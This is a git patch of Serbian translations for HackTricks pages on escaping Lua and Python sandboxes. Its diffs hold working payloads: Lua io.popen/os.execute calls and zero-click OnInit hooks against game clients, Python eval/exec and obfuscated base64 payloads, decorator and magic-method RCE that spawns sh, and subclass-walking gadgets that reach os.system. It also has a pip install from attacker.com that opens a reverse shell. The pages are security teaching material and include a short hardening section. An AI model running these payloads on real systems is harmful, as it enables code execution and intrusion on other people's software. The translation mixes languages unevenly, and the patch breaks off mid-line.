From 0f6683d8b19fcaef63a167fd44231837bec53268 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 10:51:30 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/python/bypass-pytho --- src/SUMMARY.md | 13 +- .../lua/bypass-lua-sandboxes/README.md | 115 +++++++++++ .../python/bypass-python-sandboxes/README.md | 188 +++++++++--------- 3 files changed, 213 insertions(+), 103 deletions(-) create mode 100644 src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ed10ffe41..343cdd455 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -80,6 +80,8 @@ - [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md) - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) +- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) +- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # 🧙‍♂️ Generic Hacking @@ -926,13 +928,4 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) - - - - - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) - - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) - - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) - - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) - - [Readme](reversing/cryptographic-algorithms/README.md) - - [Readme](reversing/reversing-tools/README.md) - - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file + diff --git a/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md new file mode 100644 index 000000000..00dfa7521 --- /dev/null +++ b/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md @@ -0,0 +1,115 @@ +# Bypass Lua sandboxes (embedded VMs, game clients) + +{{#include ../../../banners/hacktricks-training.md}} + +Ova stranica prikuplja praktične tehnike za enumeraciju i izbijanje iz Lua "sandboxes" ugrađenih u aplikacije (posebno game clients, plugins, ili in-app scripting engines). Mnogi engine-i izlažu ograničeno Lua okruženje, ali ostavljaju moćne globals dostupnim, što omogućava izvršavanje proizvoljnih komandi ili čak native memory corruption kada su bytecode loaders izloženi. + +Key ideas: +- Posmatrajte VM kao nepoznato okruženje: enumerišite _G i otkrijte koje opasne primitive su dostupne. +- Kada su stdout/print blokirani, zloupotrebite bilo koji in-VM UI/IPC kanal kao output sink za posmatranje rezultata. +- Ako su io/os izloženi, često imate direktno izvršavanje komandi (io.popen, os.execute). +- Ako su load/loadstring/loadfile izloženi, izvršavanje pažljivo kreiranog Lua bytecode-a može potkopati sigurnost memorije u nekim verzijama (≤5.1 verifikatori se mogu zaobići; 5.2 je uklonio verifier), omogućavajući naprednu eksploataciju. + +## Enumerate the sandboxed environment + +- Dump globalnog okruženja da inventarišete dostupne tables/functions: +```lua +-- Minimal _G dumper for any Lua sandbox with some output primitive `out` +local function dump_globals(out) +out("=== DUMPING _G ===") +for k, v in pairs(_G) do +out(tostring(k) .. " = " .. tostring(v)) +end +end +``` +- Ako print() nije dostupan, preusmeri in-VM kanale. Primer iz MMO housing script VM gde chat izlaz radi samo nakon poziva zvuka; sledeći kod gradi pouzdanu funkciju za ispis: +```lua +-- Build an output channel using in-game primitives +local function ButlerOut(label) +-- Some engines require enabling an audio channel before speaking +H.PlaySound(0, "r[1]") -- quirk: required before H.Say() +return function(msg) +H.Say(label or 1, msg) +end +end + +function OnMenu(menuNum) +if menuNum ~= 3 then return end +local out = ButlerOut(1) +dump_globals(out) +end +``` +Generalizujte ovaj obrazac za vaš target: svaki textbox, toast, logger, ili UI callback koji prihvata stringove može da služi kao stdout za reconnaissance. + +## Direct command execution if io/os is exposed + +Ako sandbox i dalje izlaže standardne biblioteke io ili os, verovatno odmah dobijate command execution: +```lua +-- Windows example +io.popen("calc.exe") + +-- Cross-platform variants depending on exposure +os.execute("/usr/bin/id") +io.popen("/bin/sh -c 'id'") +``` +Napomene: +- Izvršavanje se dešava unutar client process; mnogi anti-cheat/antidebug slojevi koji blokiraju external debuggers neće sprečiti in-VM process creation. +- Takođe proveri: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM). + +## Zero-click triggers via auto-run callbacks + +Ako host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads: +```lua +function OnInit() +io.popen("calc.exe") -- or any command +end +``` +Bilo koji ekvivalentni callback (OnLoad, OnEnter, etc.) generalizuje ovu tehniku kada se skripte automatski prenose i izvršavaju na klijentu. + +## Opasne primitive za traženje tokom recon + +Tokom enumeracije _G, posebno obratite pažnju na: +- io, os: io.popen, os.execute, rad sa fajlovima (file I/O), pristup env varijablama (env access). +- load, loadstring, loadfile, dofile: izvršavaju izvor ili bytecode; omogućavaju učitavanje nepouzdanog bytecode-a. +- package, package.loadlib, require: dinamičko učitavanje biblioteka i površina modula. +- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo i hooks. +- LuaJIT-only: ffi.cdef, ffi.load za direktno pozivanje nativnog koda. + +Minimalni primeri upotrebe (ako su dostižni): +```lua +-- Execute source/bytecode +local f = load("return 1+1") +print(f()) -- 2 + +-- loadstring is alias of load for strings in 5.1 +local bc = string.dump(function() return 0x1337 end) +local g = loadstring(bc) -- in 5.1 may run precompiled bytecode +print(g()) + +-- Load native library symbol (if allowed) +local mylib = package.loadlib("./libfoo.so", "luaopen_foo") +local foo = mylib() +``` +## Opcionalna eskalacija: zloupotreba Lua bytecode loaders + +Kada su load/loadstring/loadfile dostupni, ali su io/os ograničeni, izvršavanje pažljivo izrađenog Lua bytecode-a može dovesti do otkrivanja memorije i primitiva za korupciju. Ključne činjenice: +- Lua ≤ 5.1 je isporučivao bytecode verifier koji ima poznate bypasses. +- Lua 5.2 je potpuno uklonio verifier (službeni stav: aplikacije treba da odbijaju precompiled chunks), što proširuje površinu napada ako bytecode loading nije zabranjen. +- Tipični tokovi rada: leak pointers via in-VM output, craft bytecode to create type confusions (npr. oko FORLOOP ili drugih opcode-ova), zatim pivot na arbitrary read/write ili native code execution. + +Ovaj put je specifičan za engine/verziju i zahteva RE. Pogledajte references za dubinske analize, exploitation primitives i primerke gadgetry u igrama. + +## Beleške za detekciju i ojačavanje (za odbranu) + +- Na serverskoj strani: odbaciti ili prepisati user scripts; allowlist safe APIs; ukloniti ili bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi. +- Na klijentskoj strani: pokretati Lua sa minimalnim _ENV, zabraniti bytecode loading, ponovo uvesti strogi bytecode verifier ili provere potpisa, i blokirati kreiranje procesa iz klijentskog procesa. +- Telemetrija: alarmirati pri gameclient → child process creation ubrzo nakon učitavanja skripte; korrelirati sa UI/chat/script događajima. + +## References + +- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/) +- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/) +- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html) +- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 35fd21d06..e6b7e590d 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,12 +1,13 @@ -# Bypass Python sandboxes +# Zaobilaženje Python sandboxes {{#include ../../../banners/hacktricks-training.md}} -Ovo su neki trikovi za zaobilaženje python sandbox zaštita i izvršavanje proizvoljnih komandi. +Ovo su neki trikovi za zaobilaženje python sandbox zaštite i izvršavanje proizvoljnih komandi. -## Command Execution Libraries -Prva stvar koju treba da znate je da li možete direktno izvršiti kod pomoću neke već importovane biblioteke, ili da li možete importovati bilo koju od ovih biblioteka: +## Biblioteke za izvršavanje komandi + +Prvo što treba da znaš je da li možeš direktno izvršiti code pomoću neke već importovane biblioteke, ili da li možeš import-ovati bilo koju od ovih biblioteka: ```python os.system("ls") os.popen("ls").read() @@ -39,21 +40,21 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. +Zapamti da _**open**_ i _**read**_ funkcije mogu biti korisne za **čitanje fajlova** unutar python sandbox-a i za **pisanje koda** koji bi mogaoš **izvršiti** da **zaobiđeš** sandbox. -> [!CAUTION] > **Python2 input()** funkcija dozvoljava izvršavanje python koda pre nego što se program sruši. +> [!CAUTION] > **Python2 input()** function omogućava izvršavanje python code pre nego što se program sruši. -Python pokušava prvo da **učita biblioteke iz trenutnog direktorijuma** (sledeća komanda će ispisati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'` +Python pokušava da prvo **učita biblioteke iz trenutnog direktorijuma** (sledeća komanda će ispisati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) -## Zaobiđite pickle sandbox koristeći podrazumevane instalirane python pakete +## Bypass pickle sandbox with the default installed python packages -### Default packages +### Podrazumevani paketi -Možete pronaći **listu predinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Imajte na umu da iz pickle-a možete naterati python env da **import arbitrary libraries** instalirane u sistemu.\ -For example, the following pickle, when loaded, is going to import the pip library to use it: +Možeš pronaći **listu preinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Imaj na umu da iz pickle-a možeš naterati python env da **import arbitrary libraries** instalirane u sistemu.\ +Na primer, sledeći pickle, kada se učita, is going to import the pip library to use it: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -72,26 +73,26 @@ Za više informacija o tome kako pickle radi, pogledajte ovo: [https://checkoway Trik koji je podelio **@isHaacK** -Ako imate pristup `pip` ili `pip.main()` možete instalirati proizvoljan paket i dobiti reverse shell pozivanjem: +Ako imate pristup `pip` ili `pip.main()`, možete instalirati proizvoljan paket i dobiti reverse shell pozivom: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -Možete preuzeti paket za kreiranje reverse shell-a ovde. Imajte na umu da pre upotrebe treba da ga **dekompresujete, izmenite `setup.py` i unesete vašu IP adresu za reverse shell**: +Možete preuzeti paket za kreiranje reverse shell ovde. Imajte na umu da pre upotrebe treba da ga **dekompresujete, izmenite `setup.py` i stavite vašu IP za reverse shell**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] -> Ovaj paket se zove `Reverse`. Međutim, on je posebno dizajniran tako da kada izađete iz reverse shell-a ostatak instalacije neće uspeti, pa tako nećete ostaviti nijedan dodatni python package instaliran na serveru kada odete. +> Ovaj paket se zove `Reverse`. Međutim, on je posebno kreiran tako da kada izađete iz reverse shell ostatak instalacije zakaže, tako da **nećete ostaviti nijedan dodatni python package instaliran na serveru** kada odete. ## Eval-ing python code > [!WARNING] -> Imajte na umu da exec dozvoljava multiline strings i ";", ali eval ne (proverite walrus operator) +> Imajte na umu da exec dozvoljava višelinijske stringove i ";", ali eval ne (proverite walrus operator) -Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **bypass** ograničenje: +Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **zaobiđete** ograničenje: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### Ostale biblioteke koje omogućavaju eval python koda +### Ostale biblioteke koje omogućavaju eval python code ```python #Pandas import pandas as pd @@ -126,9 +127,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -Takođe pogledajte realan primer sandboxed evaluator escape-a u PDF generatorima: +Takođe pogledaj stvarni slučaj bekstva iz sandboxovanog evaluatora u PDF generatorima: -- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Zloupotrebljava rl_safe_eval da dođe do function.__globals__ i os.system iz evaluiranih atributa (na primer, boja fonta) i vraća validnu vrednost kako bi renderovanje ostalo stabilno. +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Zloupotrebljava rl_safe_eval da dođe do function.__globals__ i os.system kroz evaluirane atribute (na primer, boju fonta) i vraća validnu vrednost da bi renderovanje ostalo stabilno. {{#ref}} reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -145,7 +146,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md ``` ## Zaobilaženje zaštita kroz enkodiranja (UTF-7) -U [**ovom writeupu**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandbox-a: +U [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar navodnog sandbox-a: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -156,13 +157,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -Takođe je moguće zaobići ga koristeći druga kodiranja, npr. `raw_unicode_escape` i `unicode_escape`. +Moguće je takođe zaobići to koristeći druga kodiranja, npr. `raw_unicode_escape` i `unicode_escape`. ## Izvršavanje u Pythonu bez poziva -Ako se nalazite unutar Python jail-a koji **ne dozvoljava da pravite pozive**, i dalje postoje načini da **izvršite proizvoljne funkcije, code** i **commands**. +Ako ste unutar python jail-a koji vam **ne dozvoljava da vršite pozive**, još uvek postoje načini da **izvršite proizvoljne funkcije, kod** i **komande**. -### RCE sa [decorators](https://docs.python.org/3/glossary.html#term-decorator) +### RCE pomoću [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -184,13 +185,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE creating objects and overloading +### RCE kreiranje objekata i preopterećenje -Ako možete **declare a class** i **create an object** te klase, možete **write/overwrite different methods** koje se mogu **triggered** bez potrebe da ih pozivate direktno. +Ako možete **deklarisati klasu** i **napraviti objekat** te klase, mogli biste **pisati/prepisivati različite metode** koje mogu biti **okidane** **bez** **potrebe da ih pozivate direktno**. -#### RCE with custom classes +#### RCE sa prilagođenim klasama -Možete izmeniti neke **class methods** (_by overwriting existing class methods or creating a new class_) tako da prilikom **triggered** one **execute arbitrary code** bez direktnog poziva. +Možete izmeniti neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da bi one **izvele proizvoljni kod** kada su **okinute**, bez direktnog poziva. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -240,9 +241,9 @@ __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` -#### Kreiranje objekata pomoću [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) +#### Kreiranje objekata sa [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) -Ključna stvar koju metaclasses omogućavaju je **napraviti instancu klase, bez pozivanja konstruktora** direktno, kreiranjem nove klase koja koristi ciljnu klasu kao metaclass. +Ključna stvar koju metaclasses omogućavaju je da **napravimo instancu klase, bez direktnog pozivanja konstruktora**, kreiranjem nove klase koja koristi ciljnu klasu kao metaklasu. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -257,9 +258,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` -#### Kreiranje objekata sa exceptions +#### Kreiranje objekata pomoću exception-a -Kada se **exception** pokrene, objekat **Exception** se **kreira** bez potrebe да директно позивате конструктор (trik od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): +Kada se **exception** pokrene, objekat **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (trik od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): @@ -301,7 +302,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### Pročitaj fajl sa builtins help-om i licencom +### Pročitaj fajl pomoću builtins help & license ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -310,22 +311,23 @@ a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` -## Ugrađene funkcije +## Builtins - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -Ako možete pristupiti objektu **`__builtins__`**, možete importovati biblioteke (imajte na umu da ovde takođe možete koristiti druge string reprezentacije prikazane u poslednjem odeljku): +Ako možete pristupiti objektu **`__builtins__`** možete importovati biblioteke (primetite da ovde takođe možete koristiti druge string reprezentacije prikazane u poslednjem odeljku): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` ### Bez Builtins -Kada nemaš `__builtins__` nećeš moći da importuješ bilo šta niti čak da čitaš ili pišeš fajlove jer **sve globalne funkcije** (kao `open`, `import`, `print`...) **nisu učitane**.\ -Međutim, **po defaultu python učitava mnogo modula u memoriju**. Ti moduli mogu delovati bezopasno, ali neki od njih takođe u sebi importuju opasne funkcionalnosti kojima se može pristupiti da bi se čak dobilo **arbitrary code execution**. +Kada nemaš `__builtins__`, nećeš moći ništa da importuješ niti čak da čitaš ili pišeš fajlove jer **sve globalne funkcije** (poput `open`, `import`, `print`...) **nisu učitane**.\ -U sledećim primerima možete videti kako se može **iskoristiti** neki od ovih "**bezopasnih**" modula koji su učitani da bi se **pristupilo** **opasnim** **funkcionalnostima** unutar njih. +Međutim, **podrazumevano python učitava veliki broj modula u memoriju**. Ti moduli mogu delovati benigno, ali neki od njih takođe sadrže opasne funkcionalnosti kojima se može pristupiti i steći čak **arbitrary code execution**. + +U sledećim primerima možete videti kako **iskoristiti** neke od ovih "**benign**" modula koji su učitani da biste **pristupili** **opasnim** **funkcionalnostima** unutar njih. **Python2** ```python @@ -367,9 +369,9 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Ispod se nalazi veća funkcija**](#recursive-search-of-builtins-globals) da pronađe desetine/**stotine** **mesta** gde možete pronaći **builtins**. +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) da pronađete desetine/**stotine** **mesta** gde možete naći **builtins**. -#### Python2 i Python3 +#### Python2 and Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ @@ -383,9 +385,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` -## Globals and locals +## Globals i locals -Provera **`globals`** i **`locals`** je dobar način da proverite čemu možete pristupiti. +Provera **`globals`** i **`locals`** je dobar način da saznate čemu možete pristupiti. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -409,15 +411,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Below there is a bigger function**](#recursive-search-of-builtins-globals) da pronađete desetine/**stotine** **mesta** gde možete pronaći **globals**. +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**. -## Discover Arbitrary Execution +## Otkrivanje proizvoljnog izvršavanja -Ovde želim da objasnim kako lako otkriti **više opasnih funkcionalnosti koje su učitane** i predložiti pouzdanije exploits. +Ovde želim da objasnim kako lako otkriti **opasnije učitane funkcionalnosti** i predložim pouzdanije exploits. -#### Accessing subclasses with bypasses +#### Pristup subclasses uz bypasses -Jedan od najosetljivijih delova ove tehnike je mogućnost **pristupa base subclasses**. U prethodnim primerima ovo je urađeno korišćenjem `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**: +Jedan od najosetljivijih delova ove tehnike je mogućnost **pristupa base subclasses**. U prethodnim primerima ovo je urađeno koristeći `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -445,18 +447,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### Pronalaženje opasnih biblioteka koje su učitane +### Pronalaženje opasnih učitanih biblioteka -Na primer, znajući da uz biblioteku **`sys`** moguće je **uvoziti proizvoljne biblioteke**, možete pretražiti sve **učitane module koji su u njima importovali `sys`**: +Na primer, znajući da je uz biblioteku **`sys`** moguće **import arbitrary libraries**, možete pretražiti sve **učitane module koji u sebi importuju `sys`**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -Ima ih mnogo, i **treba nam samo jedan** da izvršava komande: +Ima ih mnogo, a **potreban nam je samo jedan** da izvrši komande: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -Možemo isto uraditi i sa **other libraries** za koje znamo da se mogu koristiti za **execute commands**: +Možemo isto to uraditi sa **drugim bibliotekama** za koje znamo da se mogu koristiti za **izvršavanje komandi**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -491,7 +493,7 @@ Možemo isto uraditi i sa **other libraries** za koje znamo da se mogu koristiti #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` -Štaviše, mogli bismo čak i da pretražimo koji moduli učitavaju maliciozne biblioteke: +Štaviše, mogli bismo čak i да pretražimo koji modules učitavaju malicious libraries: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -510,7 +512,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -Štaviše, ako mislite da **druge biblioteke** mogu da **pozovu funkcije za izvršavanje komandi**, možemo takođe **filtrirati po imenima funkcija** unutar potencijalnih biblioteka: +Štaviše, ako mislite da **other libraries** mogu да **invoke functions to execute commands**, možemo такође да **filter by functions names** унутар могућих библиотеka: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -546,7 +548,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil ## Rekurzivna pretraga Builtins, Globals... > [!WARNING] -> Ovo je prosto **sjajno**. Ako ste **u potrazi za objektom poput globals, builtins, open ili bilo čega** samo koristite ovaj skript da **rekurzivno pronađete mesta gde možete pronaći taj objekat.** +> Ovo je zaista **sjajno**. Ako tražite **objekat kao globals, builtins, open ili bilo šta drugo**, samo koristite ovu skriptu da **rekurzivno pronađete mesta gde možete naći taj objekat.** ```python import os, sys # Import these to find more gadgets @@ -662,7 +664,7 @@ print(SEARCH_FOR) if __name__ == "__main__": main() ``` -Možete proveriti izlaz ovog skripta na ovoj stranici: +You can check the output of this script on this page: {{#ref}} @@ -671,7 +673,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and- ## Python Format String -Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **python internal information.** Možete koristiti prethodne primere da, na primer, pristupite globals ili builtins. +Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **python internal information.** Možete koristiti prethodne primere da pristupite globals ili builtins. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -691,16 +693,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Primetite kako možete **pristupiti atributima** na uobičajen način koristeći **tačku** kao `people_obj.__init__` i **dict element** sa **zagradama** bez navodnika `__globals__[CONFIG]` +Obratite pažnju kako možete **pristupiti atributima** na uobičajen način koristeći **tačku** kao `people_obj.__init__` i **element dict-a** koristeći **uglaste zagrade** bez navodnika `__globals__[CONFIG]` -Takođe imajte u vidu da možete koristiti `.__dict__` za nabrajanje elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +Takođe obratite pažnju da možete koristiti `.__dict__` za nabrajanje elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -Još neke zanimljive karakteristike format strings su mogućnost izvršavanja funkcija `str`, `repr` i `ascii` nad označenim objektom dodavanjem `!s`, `!r`, `!a` respektivno: +Još neke zanimljive karakteristike format stringova su mogućnost **izvršavanja** **funkcija** **`str`**, **`repr`** i **`ascii`** nad naznačenim objektom dodavanjem **`!s`**, **`!r`**, **`!a`** respektivno: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj 